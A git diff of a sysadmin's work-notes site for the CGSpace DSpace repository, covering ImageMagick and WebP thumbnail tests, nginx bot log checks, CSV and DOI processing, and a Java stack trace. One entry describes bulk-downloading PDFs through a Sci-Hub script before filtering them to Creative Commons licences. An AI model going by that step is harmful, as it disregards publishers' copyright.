    • I realized that we can’t directly compare JPEG to WebP, we need to convert to JPEG/WebP, then convert each to lossless PNG
      • +
    • Also, we shouldn’t be comparing the resulting images against each other, but rather the original, so I need to a straight PDF to lossless PNG version also
      • +
    • After playing with WebP at Q82 and Q92, I see it has lower ssimulacra2 scores than JPEG Q92 for the dozen test files
      • +
    • Could it just be something with ImageMagick?
      • +
    +
    • +
+

2023-03-22

+
    +
  • I updated csv-metadata-quality to use pandas 2.0.0rc1 and everything seems to work…? +
      +
    • So the issues with nulls (isna) when I tried the first release candidate a few weeks ago were resolved?
      • +
    +
    • +
  • Meeting with Jawoo and others about a “ChatGPT-like” thing for CGIAR data using CGSpace documents and metadata
    • +
+

2023-03-23

+
    +
  • Add a missing IFPRI ORCID identifier to CGSpace and tag his items on CGSpace
    • +
  • A super unscientific comparison between csv-metadata-quality’s pytest regimen using Pandas 1.5.3 and Pandas 2.0.0rc1 +
      +
    • The data was gathered using rusage, and this is the results of the last of three consecutive runs:
      • +
    +
    • +
+
# Pandas 1.5.3
+RL: took 1,585,999µs wall time
+RL: ballooned to 272,380kb in size
+RL: needed 2,093,947µs cpu (25% kernel)
+RL: caused 55,856 page faults (100% memcpy)
+RL: 699 context switches (1% consensual)
+RL: performed 0 reads and 16 write i/o operations
+
+# Pandas 2.0.0rc1
+RL: took 1,625,718µs wall time
+RL: ballooned to 262,116kb in size
+RL: needed 2,148,425µs cpu (24% kernel)
+RL: caused 63,934 page faults (100% memcpy)
+RL: 461 context switches (2% consensual)
+RL: performed 0 reads and 16 write i/o operations
+
    +
  • So it seems that Pandas 2.0.0rc1 took ten megabytes less RAM… interesting to see that the PyArrow-backed dtypes make a measurable difference even on my small test set +
      +
    • I should try to compare runs of larger input files
      • +
    +
    • +
+

2023-03-24

+
    +
  • I added a Flyway SQL migration for the PNG bitstream format registry changes on DSpace 7.6
    • +
+

2023-03-26

+
    +
  • There seems to be a slightly high load on CGSpace +
      +
    • I don’t see any locks in PostgreSQL, but there’s some new bot I have never heard of:
      • +
    +
    • +
+
92.119.18.13 - - [26/Mar/2023:18:41:47 +0200] "GET /handle/10568/16500/discover?filtertype_0=impactarea&filter_relational_operator_0=equals&filter_0=Climate+adaptation+and+mitigation&filtertype=sdg&filter_relational_operator=equals&filter=SDG+11+-+Sustainable+cities+and+communities HTTP/2.0" 200 7856 "-" "colly - https://github.com/gocolly/colly"
+
    +
  • In the last week I see a handful of IPs making requests with this agent:
    • +
+
# zcat --force /var/log/nginx/access.log /var/log/nginx/access.log.1 /var/log/nginx/access.log.{2,3,4,5,6,7}.gz | grep go
+colly | awk '{print $1}' | sort | uniq -c | sort -h
+      2 194.233.95.37
+   4304 92.119.18.142
+   9496 5.180.208.152
+  27477 92.119.18.13
+
    +
  • Most of these come from Packethub S.A. / ASN 62240 (CLOUVIDER Clouvider - Global ASN, GB)
    • +
  • Oh, I’ve apparently seen this user agent before, as it is in our ILRI spider user agent overrides
    • +
  • I exported CGSpace to check for missing Initiative collection mappings
    • +
  • Start a harvest on AReS
    • +
+

2023-03-27

+
    +
  • The harvest on AReS was incredibly slow and I stopped it about half way twelve hours later +
      +
    • Then I relied on the plugins to get missing items, which caused a high load on the server but actually worked fine
      • +
    +
    • +
  • Continue working on thumbnails on DSpace
    • +
+

2023-03-28

+
    +
  • Regarding ImageMagick there are a few things I’ve learned +
      +
    • The -quality setting does different things for different output formats, see: https://imagemagick.org/script/command-line-options.php#quality
      • +
    • The -compress setting controls the compression algorithm for image data, and is unrelated to lossless/lossy + +
      • +
    • The way DSpace currently does its supersampling by exporting to a JPEG, then making a thumbnail of the JPEG, is a double lossy operation +
        +
      • We should be exporting to something lossless like PNG, PPM, or MIFF, then making a thumbnail from that
        • +
      +
      • +
    • The PNG format is always lossless so the -quality setting controls compression and filtering, but has no effect on the appearance or signature of PNG images
      • +
    • You can use -quality n with WebP’s -define webp:lossless=true, but I’m not sure about the interaction between ImageMagick quality and WebP lossless… +
        +
      • Also, if converting from a lossless format to WebP lossless in the same command, ImageMagick will ignore quality settings
        • +
      +
      • +
    • The MIFF format is useful for piping between ImageMagick commands, but it is also lossless and the quality setting is ignored
      • +
    • You can use a format specifier when piping between ImageMagick commands without writing a file
      • +
    • For example, I want to create a lossless PNG from a distorted JPEG for comparison:
      • +
    +
    • +
+
$ magick convert reference.jpg -quality 85 jpg:- | convert - distorted-lossless.png
+
    +
  • If I convert the JPEG to PNG directly it will ignore the quality setting, so I set the quality and the output format, then pipe it to ImageMagick again to convert to lossless PNG
    • +
  • In an attempt to quantify the generation loss from DSpace’s “JPG JPG” method of creating thumbnails I wrote a script called generation-loss.sh to test against a new “PNG JPG” method +
      +
    • With my sample set of seventeen PDFs from CGSpace I found that the “JPG JPG” method of thumbnailing results in scores an average of 1.6% lower than with the “PNG JPG” method.
      • +
    • The average file size with the “PNG JPG” method was only 200 bytes larger.
      • +
    +
    • +
  • In my brief testing, the relationship between ImageMagick’s -quality setting and WebP’s -define webp:lossless=true setting are completely unpredictable:
    • +
+
$ magick convert img/10568-103447.pdf.png /tmp/10568-103447.webp
+$ magick convert img/10568-103447.pdf.png -define webp:lossless=true /tmp/10568-103447-lossless.webp
+$ magick convert img/10568-103447.pdf.png -define webp:lossless=true -quality 50 /tmp/10568-103447-lossless-q50.webp
+$ magick convert img/10568-103447.pdf.png -quality 10 -define webp:lossless=true /tmp/10568-103447-lossless-q10.webp
+$ magick convert img/10568-103447.pdf.png -quality 90 -define webp:lossless=true /tmp/10568-103447-lossless-q90.webp
+$ ls -l /tmp/10568-103447*
+-rw-r--r-- 1 aorth aorth 359258 Mar 28 21:16 /tmp/10568-103447-lossless-q10.webp
+-rw-r--r-- 1 aorth aorth 303850 Mar 28 21:15 /tmp/10568-103447-lossless-q50.webp
+-rw-r--r-- 1 aorth aorth 296832 Mar 28 21:16 /tmp/10568-103447-lossless-q90.webp
+-rw-r--r-- 1 aorth aorth 299566 Mar 28 21:13 /tmp/10568-103447-lossless.webp
+-rw-r--r-- 1 aorth aorth 190718 Mar 28 21:13 /tmp/10568-103447.webp
+
    +
  • I’m curious to see a comparison between the ImageMagick -define webp:emulate-jpeg-size=true (aka -jpeg_like in cwebp) option compared to normal lossy WebP quality:
    • +
+
$ for q in 70 80 90; do magick convert img/10568-103447.pdf.png -quality $q -define webp:emulate-jpeg-size=true /tmp/10568-103447-lossy-emulate-jpeg-q${q}.webp; done
+$ for q in 70 80 90; do magick convert /tmp/10568-103447-lossy-emulate-jpeg-q${q}.webp /tmp/10568-103447-lossy-emulate-jpeg-q${q}.webp.png; done
+$ for q in 70 80 90; do ssimulacra2 img/10568-103447.pdf.png /tmp/10568-103447-lossy-emulate-jpeg-q${q}.webp.png 2>/dev/null; done
+81.29082887
+84.42134524
+85.84458964
+$ for q in 70 80 90; do magick convert img/10568-103447.pdf.png -quality $q /tmp/10568-103447-lossy-q${q}.webp; done
+$ for q in 70 80 90; do magick convert /tmp/10568-103447-lossy-q${q}.webp /tmp/10568-103447-lossy-q${q}.webp.png; done
+$ for q in 70 80 90; do ssimulacra2 img/10568-103447.pdf.png /tmp/10568-103447-lossy-q${q}.webp.png 2>/dev/null; done
+77.25789006
+80.79140936
+84.79108246
+
    +
  • Using -define webp:method=6 (versus default 4) gets a ~0.5% increase on ssimulacra2 score
    • +
+

2023-03-29

+
    +
  • Looking at the -define webp:near-lossless=$q option in ImageMagick and I don’t think it’s working:
    • +
+
$ for q in 20 40 60 80 90; do magick convert -flatten data/10568-103447.pdf\[0\] -define webp:near-lossless=$q -verbose /tmp/10568-103447-near-lossless-q${q}.webp; done 
+data/10568-103447.pdf[0]=>/tmp/10568-103447-near-lossless-q20.webp PDF 595x842 595x842+0+0 16-bit sRGB 80440B 0.080u 0:00.043
+data/10568-103447.pdf[0]=>/tmp/10568-103447-near-lossless-q40.webp PDF 595x842 595x842+0+0 16-bit sRGB 80440B 0.080u 0:00.043
+data/10568-103447.pdf[0]=>/tmp/10568-103447-near-lossless-q60.webp PDF 595x842 595x842+0+0 16-bit sRGB 80440B 0.090u 0:00.043
+data/10568-103447.pdf[0]=>/tmp/10568-103447-near-lossless-q80.webp PDF 595x842 595x842+0+0 16-bit sRGB 80440B 0.090u 0:00.043
+data/10568-103447.pdf[0]=>/tmp/10568-103447-near-lossless-q90.webp PDF 595x842 595x842+0+0 16-bit sRGB 80440B 0.080u 0:00.043
+
    +
  • The file sizes are all the same…
    • +
  • If I try with -quality $q it works:
    • +
+
$ for q in 20 40 60 80 90; do magick convert -flatten data/10568-103447.pdf\[0\] -quality $q -verbose /tmp/10568-103447-q${q}.webp; done     
+data/10568-103447.pdf[0]=>/tmp/10568-103447-q20.webp PDF 595x842 595x842+0+0 16-bit sRGB 52602B 0.080u 0:00.045
+data/10568-103447.pdf[0]=>/tmp/10568-103447-q40.webp PDF 595x842 595x842+0+0 16-bit sRGB 64604B 0.090u 0:00.045
+data/10568-103447.pdf[0]=>/tmp/10568-103447-q60.webp PDF 595x842 595x842+0+0 16-bit sRGB 73584B 0.080u 0:00.045
+data/10568-103447.pdf[0]=>/tmp/10568-103447-q80.webp PDF 595x842 595x842+0+0 16-bit sRGB 88652B 0.090u 0:00.045
+data/10568-103447.pdf[0]=>/tmp/10568-103447-q90.webp PDF 595x842 595x842+0+0 16-bit sRGB 113186B 0.100u 0:00.049
+
    +
  • I don’t see any issues mentioning this in the ImageMagick GitHub issues, so I guess I have to file a bug + +
    • +
  • Meeting with Maria about the Alliance metadata on CGSpace +
      +
    • As the Alliance is not a legal entity they want to reflect that somehow in CGSpace
      • +
    • We discussed updating all metadata, but so many documents issued in the last few years have the Alliance indicated inside them and as affiliations in journal article acknowledgements, etc, we decided it is not the best option
      • +
    • Instead, we propose to: +
        +
      • Remove Alliance of Bioversity International and CIAT from the controlled vocabulary for affiliations ASAP
        • +
      • Add Bioversity International and the International Center for Tropical Agriculture to the controlled vocabulary for affiliations ASAP
        • +
      • Add a prominent note to the item page for every item in the Alliance community via a custom XMLUI theme (Maria and the Alliance publishing team to send the text)
        • +
      +
      • +
    +
    • +
+

2023-03-30

+
    +
  • The ImageMagick developers confirmed my bug report and created a patch on master +
      +
    • I’m not entirely sure how it works, but the developer seemed to imply we can use lossless mode plus a quality?
      • +
    +
    • +
+
$ magick convert -flatten data/10568-103447.pdf\[0\] -define webp:lossless=true -quality 90 /tmp/10568-103447.pdf.webp
+
    +
  • Now I see a difference between near-lossless and normal quality mode:
    • +
+
$ for q in 20 40 60 80 90; do magick convert -flatten data/10568-103447.pdf\[0\] -define webp:lossless=true -quality $q /tmp/10568-103447-near-lossless-q${q}.webp; done
+$ ls -l /tmp/10568-103447-near-lossless-q*
+-rw-r--r-- 1 aorth aorth 108186 Mar 30 11:36 /tmp/10568-103447-near-lossless-q20.webp
+-rw-r--r-- 1 aorth aorth  97170 Mar 30 11:36 /tmp/10568-103447-near-lossless-q40.webp
+-rw-r--r-- 1 aorth aorth  97382 Mar 30 11:36 /tmp/10568-103447-near-lossless-q60.webp
+-rw-r--r-- 1 aorth aorth 106090 Mar 30 11:36 /tmp/10568-103447-near-lossless-q80.webp
+-rw-r--r-- 1 aorth aorth 105926 Mar 30 11:36 /tmp/10568-103447-near-lossless-q90.webp
+$ for q in 20 40 60 80 90; do magick convert -flatten data/10568-103447.pdf\[0\] -quality $q /tmp/10568-103447-q${q}.webp; done
+$ ls -l /tmp/10568-103447-q*
+-rw-r--r-- 1 aorth aorth  52602 Mar 30 11:37 /tmp/10568-103447-q20.webp
+-rw-r--r-- 1 aorth aorth  64604 Mar 30 11:37 /tmp/10568-103447-q40.webp
+-rw-r--r-- 1 aorth aorth  73584 Mar 30 11:37 /tmp/10568-103447-q60.webp
+-rw-r--r-- 1 aorth aorth  88652 Mar 30 11:37 /tmp/10568-103447-q80.webp
+-rw-r--r-- 1 aorth aorth 113186 Mar 30 11:37 /tmp/10568-103447-q90.webp
+
    +
  • But after reading the source code in coders/webp.c I am not sure I understand, so I asked for clarification in the discussion
    • +
  • Both Bosede and Abenet said mapping on CGSpace is taking a long time and I don’t see any stuck locks so I decided to quickly restart postgresql
    • +
+

2023-03-31

+
    +
  • Meeting with Daniel and Naim from Alliance in Cali about CGSpace metadata, TIP, etc
    • +
+ + + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2023-04/index.html b/docs/2023-04/index.html new file mode 100644 index 000000000..755ae4e34 --- /dev/null +++ b/docs/2023-04/index.html @@ -0,0 +1,805 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + April, 2023 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

April, 2023

+

+ + in + Notes + + +

+
+

2023-04-02

+
    +
  • Run all system updates on CGSpace and reboot it
    • +
  • I exported CGSpace to CSV to check for any missing Initiative collection mappings +
      +
    • I also did a check for missing country/region mappings with csv-metadata-quality
      • +
    +
    • +
  • Start a harvest on AReS
    • +
+
    +
  • I’m starting to get annoyed at my shell script for doing ImageMagick tests and looking to re-write it in something object oriented like Python +
      +
    • There doesn’t seem to be an official ImageMagick Python binding on pypi.org, perhaps I can use Wand?
      • +
    +
    • +
  • Testing Wand in Python:
    • +
+
from wand.image import Image
+
+with Image(filename='data/10568-103447.pdf[0]', resolution=144) as first_page:
+    print(first_page.height)
+
    +
  • I spent more time re-working my thumbnail scripts to compare the resized images and other minor changes +
      +
    • I am realizing that doing the thumbnails directly from the source improves the ssimulacra2 score by 1-3% points compared to DSpace’s method of creating a lossy supersample followed by a lossy resized thumbnail
      • +
    +
    • +
+

2023-04-03

+
    +
  • The harvest on AReS that I started yesterday never finished, and actually seems to have died… +
      +
    • Also, Fabio and Patrizio from Alliance emailed me to ask if there is something wrong with the REST API because they are having problems
      • +
    • I stopped the harvest and started the plugins to get the remaining items via the sitemap…
      • +
    +
    • +
+

2023-04-04

+
    +
  • Presentation about CGSpace metadata, controlled vocabularies, and curation to Pooja’s communications and development team at UNEP + +
    • +
  • Someone from the system organization contacted me to ask how to download a few thousand PDFs from a spreadsheet with DOIs and Handles
    • +
+
$ csvcut -c Handle ~/Downloads/2023-04-04-Donald.csv \
+    | sed \
+        -e 1d \
+        -e 's_https://hdl.handle.net/__' \
+        -e 's_https://cgspace.cgiar.org/handle/__' \
+        -e 's_http://hdl.handle.net/__' \
+    | sort -u > /tmp/handles.txt
+
    +
  • Then I used the get_dspace_pdfs.py script to download them
    • +
+

2023-04-05

+
    +
  • After some cleanup on Donald’s DOIs I started the get_scihub_pdfs.py script
    • +
+

2023-04-06

+
    +
  • I did some more work to cleanup and streamline my next generation of DSpace thumbnail testing scripts +
      +
    • I think I found a bug in ImageMagick 7.1.1.5 where CMYK to sRGB conversion fails if we use image operations like -density or -define before reading the input file
      • +
    • I started a discussion on the ImageMagick GitHub to ask
      • +
    +
    • +
  • Yesterday I started downloading the rest of the PDFs from Donald, those that had DOIs +
      +
    • As a measure of caution, I extracted the list of DOIs and used my crossref_doi_lookup.py script to get their licenses from Crossref:
      • +
    +
    • +
+
$ ./ilri/crossref_doi_lookup.py -e xxxx@i.org -i /tmp/dois.txt -o /tmp/donald-crossref-dois.csv -d
+
    +
  • Then I did some CSV manipulation to extract the DOIs that were Creative Commons licensed, excluding any that were “No Derivatives”, and re-formatting the DOIs:
    • +
+
$ csvcut -c doi,license /tmp/donald-crossref-dois.csv \
+  | csvgrep -c license -m 'creativecommons' \
+  | csvgrep -c license -i -r 'by-(nd|nc-nd)' \
+  | sed -e 's_^10_https://doi.org/10_' \
+    -e 's/\(am\|tdm\|unspecified\|vor\): //' \
+  | tee /tmp/donald-open-dois.csv \
+  | wc -l
+4268
+
    +
  • From those I filtered for the DOIs for which I had downloaded PDFs, in the filename column of the Sci-Hub script and copied them to a separate directory:
    • +
+
$ for file in $(csvjoin -c doi /tmp/donald-doi-pdfs.csv /tmp/donald-open-dois.csv | csvgrep -c filename -i -r '^$' | csvcut -c filename | sed 1d); do cp --reflink=always "$file" "creative-commons-licensed/$file"; done
+
    +
  • I used BTRFS copy-on-write via reflinks to make sure I didn’t duplicate the files :-D
    • +
  • I ran out of time and had to stop the process around 3,127 PDFs +
      +
    • I zipped them up and sent them to the others, along with a CSV of the DOIs, PDF filenames, and licenses
      • +
    +
    • +
+

2023-04-17

+
    +
  • Abenet noticed a weird issue with this item +
      +
    • The item has metadata, but the page is blank
      • +
    • When I try to edit the item’s authorization policies in XMLUI I get a nullPointerException:
      • +
    +
    • +
+
Java stacktrace: java.lang.NullPointerException
+	at org.dspace.app.xmlui.aspect.administrative.authorization.EditItemPolicies.addBody(EditItemPolicies.java:166)
+	at org.dspace.app.xmlui.wing.AbstractWingTransformer.startElement(AbstractWingTransformer.java:234)
+	at sun.reflect.GeneratedMethodAccessor347.invoke(Unknown Source)
+	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+	at java.lang.reflect.Method.invoke(Method.java:498)
+	at org.apache.cocoon.core.container.spring.avalon.PoolableProxyHandler.invoke(PoolableProxyHandler.java:71)
+	at com.sun.proxy.$Proxy201.startElement(Unknown Source)
+	at org.apache.cocoon.components.sax.XMLTeePipe.startElement(XMLTeePipe.java:87)
+	at org.apache.cocoon.xml.AbstractXMLPipe.startElement(AbstractXMLPipe.java:94)
+	at org.dspace.app.xmlui.wing.AbstractWingTransformer.startElement(AbstractWingTransformer.java:251)
+	at sun.reflect.GeneratedMethodAccessor347.invoke(Unknown Source)
+	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+	at java.lang.reflect.Method.invoke(Method.java:498)
+	at org.apache.cocoon.core.container.spring.avalon.PoolableProxyHandler.invoke(PoolableProxyHandler.java:71)
+	at com.sun.proxy.$Proxy203.startElement(Unknown Source)
+	at org.apache.cocoon.xml.AbstractXMLPipe.startElement(AbstractXMLPipe.java:94)
+	at org.dspace.app.xmlui.wing.AbstractWingTransformer.startElement(AbstractWingTransformer.java:251)
+	at sun.reflect.GeneratedMethodAccessor347.invoke(Unknown Source)
+	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+	at java.lang.reflect.Method.invoke(Method.java:498)
+	at org.apache.cocoon.core.container.spring.avalon.PoolableProxyHandler.invoke(PoolableProxyHandler.java:71)
+	at com.sun.proxy.$Proxy203.startElement(Unknown Source)
+	at org.apache.cocoon.environment.internal.EnvironmentChanger.startElement(EnvironmentStack.java:140)
+	at org.apache.cocoon.components.sax.XMLTeePipe.startElement(XMLTeePipe.java:87)
+	at org.apache.cocoon.xml.AbstractXMLPipe.startElement(AbstractXMLPipe.java:94)
+	at org.dspace.app.xmlui.wing.AbstractWingTransformer.startElement(AbstractWingTransformer.java:251)
+	at sun.reflect.GeneratedMethodAccessor347.invoke(Unknown Source)
+	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+	at java.lang.reflect.Method.invoke(Method.java:498)
+	at org.apache.cocoon.core.container.spring.avalon.PoolableProxyHandler.invoke(PoolableProxyHandler.java:71)
+	at com.sun.proxy.$Proxy203.startElement(Unknown Source)
+	at org.apache.cocoon.environment.internal.EnvironmentChanger.startElement(EnvironmentStack.java:140)
+	at org.apache.cocoon.components.sax.XMLTeePipe.startElement(XMLTeePipe.java:87)
+	at org.apache.cocoon.components.sax.AbstractXMLByteStreamInterpreter.parse(AbstractXMLByteStreamInterpreter.java:117)
+	at org.apache.cocoon.components.sax.XMLByteStreamInterpreter.deserialize(XMLByteStreamInterpreter.java:44)
+	at org.apache.cocoon.components.pipeline.impl.AbstractCachingProcessingPipeline.processXMLPipeline(AbstractCachingProcessingPipeline.java:324)
+	at org.apache.cocoon.components.pipeline.AbstractProcessingPipeline.process(AbstractProcessingPipeline.java:750)
+	at sun.reflect.GeneratedMethodAccessor438.invoke(Unknown Source)
+	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+	at java.lang.reflect.Method.invoke(Method.java:498)
+	at org.apache.cocoon.core.container.spring.avalon.PoolableProxyHandler.invoke(PoolableProxyHandler.java:71)
+	at com.sun.proxy.$Proxy191.process(Unknown Source)
+	at org.apache.cocoon.components.source.impl.SitemapSource.toSAX(SitemapSource.java:362)
+	at org.apache.cocoon.components.source.util.SourceUtil.toSAX(SourceUtil.java:111)
+	at org.apache.cocoon.components.source.util.SourceUtil.parse(SourceUtil.java:294)
+	at org.apache.cocoon.generation.FileGenerator.generate(FileGenerator.java:136)
+	at sun.reflect.GeneratedMethodAccessor436.invoke(Unknown Source)
+	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+	at java.lang.reflect.Method.invoke(Method.java:498)
+	at org.apache.cocoon.core.container.spring.avalon.PoolableProxyHandler.invoke(PoolableProxyHandler.java:71)
+	at com.sun.proxy.$Proxy198.generate(Unknown Source)
+	at org.apache.cocoon.components.pipeline.impl.AbstractCachingProcessingPipeline.processXMLPipeline(AbstractCachingProcessingPipeline.java:326)
+	at org.apache.cocoon.components.pipeline.AbstractProcessingPipeline.process(AbstractProcessingPipeline.java:750)
+	at sun.reflect.GeneratedMethodAccessor438.invoke(Unknown Source)
+	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+	at java.lang.reflect.Method.invoke(Method.java:498)
+	at org.apache.cocoon.core.container.spring.avalon.PoolableProxyHandler.invoke(PoolableProxyHandler.java:71)
+	at com.sun.proxy.$Proxy191.process(Unknown Source)
+	at org.apache.cocoon.components.source.impl.SitemapSource.toSAX(SitemapSource.java:362)
+	at org.apache.cocoon.components.source.util.SourceUtil.toSAX(SourceUtil.java:111)
+	at org.apache.cocoon.components.source.util.SourceUtil.parse(SourceUtil.java:294)
+	at org.apache.cocoon.generation.FileGenerator.generate(FileGenerator.java:136)
+	at sun.reflect.GeneratedMethodAccessor436.invoke(Unknown Source)
+	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+	at java.lang.reflect.Method.invoke(Method.java:498)
+	at org.apache.cocoon.core.container.spring.avalon.PoolableProxyHandler.invoke(PoolableProxyHandler.java:71)
+	at com.sun.proxy.$Proxy198.generate(Unknown Source)
+	at org.apache.cocoon.components.pipeline.impl.AbstractCachingProcessingPipeline.processXMLPipeline(AbstractCachingProcessingPipeline.java:326)
+	at org.apache.cocoon.components.pipeline.AbstractProcessingPipeline.process(AbstractProcessingPipeline.java:750)
+	at sun.reflect.GeneratedMethodAccessor438.invoke(Unknown Source)
+	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+	at java.lang.reflect.Method.invoke(Method.java:498)
+	at org.apache.cocoon.core.container.spring.avalon.PoolableProxyHandler.invoke(PoolableProxyHandler.java:71)
+	at com.sun.proxy.$Proxy191.process(Unknown Source)
+	at org.apache.cocoon.components.source.impl.SitemapSource.toSAX(SitemapSource.java:362)
+	at org.apache.cocoon.components.source.util.SourceUtil.toSAX(SourceUtil.java:111)
+	at org.apache.cocoon.components.source.util.SourceUtil.parse(SourceUtil.java:294)
+	at org.apache.cocoon.generation.FileGenerator.generate(FileGenerator.java:136)
+	at sun.reflect.GeneratedMethodAccessor436.invoke(Unknown Source)
+	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+	at java.lang.reflect.Method.invoke(Method.java:498)
+	at org.apache.cocoon.core.container.spring.avalon.PoolableProxyHandler.invoke(PoolableProxyHandler.java:71)
+	at com.sun.proxy.$Proxy198.generate(Unknown Source)
+	at org.apache.cocoon.components.pipeline.AbstractProcessingPipeline.processXMLPipeline(AbstractProcessingPipeline.java:544)
+	at org.apache.cocoon.components.pipeline.impl.AbstractCachingProcessingPipeline.processXMLPipeline(AbstractCachingProcessingPipeline.java:273)
+	at org.apache.cocoon.components.pipeline.AbstractProcessingPipeline.process(AbstractProcessingPipeline.java:750)
+	at sun.reflect.GeneratedMethodAccessor438.invoke(Unknown Source)
+	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+	at java.lang.reflect.Method.invoke(Method.java:498)
+	at org.apache.cocoon.core.container.spring.avalon.PoolableProxyHandler.invoke(PoolableProxyHandler.java:71)
+	at com.sun.proxy.$Proxy191.process(Unknown Source)
+	at org.apache.cocoon.components.source.impl.SitemapSource.toSAX(SitemapSource.java:362)
+	at org.apache.cocoon.components.source.util.SourceUtil.toSAX(SourceUtil.java:111)
+	at org.apache.cocoon.components.source.util.SourceUtil.parse(SourceUtil.java:294)
+	at org.apache.cocoon.generation.FileGenerator.generate(FileGenerator.java:136)
+	at sun.reflect.GeneratedMethodAccessor436.invoke(Unknown Source)
+	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+	at java.lang.reflect.Method.invoke(Method.java:498)
+	at org.apache.cocoon.core.container.spring.avalon.PoolableProxyHandler.invoke(PoolableProxyHandler.java:71)
+	at com.sun.proxy.$Proxy198.generate(Unknown Source)
+	at org.apache.cocoon.components.pipeline.AbstractProcessingPipeline.processXMLPipeline(AbstractProcessingPipeline.java:544)
+	at org.apache.cocoon.components.pipeline.impl.AbstractCachingProcessingPipeline.processXMLPipeline(AbstractCachingProcessingPipeline.java:273)
+	at org.apache.cocoon.components.pipeline.AbstractProcessingPipeline.process(AbstractProcessingPipeline.java:750)
+	at sun.reflect.GeneratedMethodAccessor438.invoke(Unknown Source)
+	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+	at java.lang.reflect.Method.invoke(Method.java:498)
+	at org.apache.cocoon.core.container.spring.avalon.PoolableProxyHandler.invoke(PoolableProxyHandler.java:71)
+	at com.sun.proxy.$Proxy191.process(Unknown Source)
+	at org.apache.cocoon.components.source.impl.SitemapSource.toSAX(SitemapSource.java:362)
+	at org.apache.cocoon.components.source.util.SourceUtil.toSAX(SourceUtil.java:111)
+	at org.apache.cocoon.components.source.util.SourceUtil.parse(SourceUtil.java:294)
+	at org.apache.cocoon.generation.FileGenerator.generate(FileGenerator.java:136)
+	at sun.reflect.GeneratedMethodAccessor436.invoke(Unknown Source)
+	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+	at java.lang.reflect.Method.invoke(Method.java:498)
+	at org.apache.cocoon.core.container.spring.avalon.PoolableProxyHandler.invoke(PoolableProxyHandler.java:71)
+	at com.sun.proxy.$Proxy198.generate(Unknown Source)
+	at org.apache.cocoon.components.pipeline.AbstractProcessingPipeline.processXMLPipeline(AbstractProcessingPipeline.java:544)
+	at org.apache.cocoon.components.pipeline.impl.AbstractCachingProcessingPipeline.processXMLPipeline(AbstractCachingProcessingPipeline.java:273)
+	at org.apache.cocoon.components.pipeline.AbstractProcessingPipeline.process(AbstractProcessingPipeline.java:750)
+	at sun.reflect.GeneratedMethodAccessor438.invoke(Unknown Source)
+	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+	at java.lang.reflect.Method.invoke(Method.java:498)
+	at org.apache.cocoon.core.container.spring.avalon.PoolableProxyHandler.invoke(PoolableProxyHandler.java:71)
+	at com.sun.proxy.$Proxy191.process(Unknown Source)
+	at org.apache.cocoon.components.source.impl.SitemapSource.toSAX(SitemapSource.java:362)
+	at org.apache.cocoon.components.source.util.SourceUtil.toSAX(SourceUtil.java:111)
+	at org.apache.cocoon.components.source.util.SourceUtil.parse(SourceUtil.java:294)
+	at org.apache.cocoon.generation.FileGenerator.generate(FileGenerator.java:136)
+	at sun.reflect.GeneratedMethodAccessor436.invoke(Unknown Source)
+	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+	at java.lang.reflect.Method.invoke(Method.java:498)
+	at org.apache.cocoon.core.container.spring.avalon.PoolableProxyHandler.invoke(PoolableProxyHandler.java:71)
+	at com.sun.proxy.$Proxy198.generate(Unknown Source)
+	at org.apache.cocoon.components.pipeline.AbstractProcessingPipeline.processXMLPipeline(AbstractProcessingPipeline.java:544)
+	at org.apache.cocoon.components.pipeline.impl.AbstractCachingProcessingPipeline.processXMLPipeline(AbstractCachingProcessingPipeline.java:273)
+	at org.apache.cocoon.components.pipeline.AbstractProcessingPipeline.process(AbstractProcessingPipeline.java:750)
+	at sun.reflect.GeneratedMethodAccessor438.invoke(Unknown Source)
+	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+	at java.lang.reflect.Method.invoke(Method.java:498)
+	at org.apache.cocoon.core.container.spring.avalon.PoolableProxyHandler.invoke(PoolableProxyHandler.java:71)
+	at com.sun.proxy.$Proxy191.process(Unknown Source)
+	at org.apache.cocoon.components.source.impl.SitemapSource.toSAX(SitemapSource.java:362)
+	at org.apache.cocoon.components.source.util.SourceUtil.toSAX(SourceUtil.java:111)
+	at org.apache.cocoon.components.source.util.SourceUtil.parse(SourceUtil.java:294)
+	at org.apache.cocoon.generation.FileGenerator.generate(FileGenerator.java:136)
+	at sun.reflect.GeneratedMethodAccessor436.invoke(Unknown Source)
+	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+	at java.lang.reflect.Method.invoke(Method.java:498)
+	at org.apache.cocoon.core.container.spring.avalon.PoolableProxyHandler.invoke(PoolableProxyHandler.java:71)
+	at com.sun.proxy.$Proxy198.generate(Unknown Source)
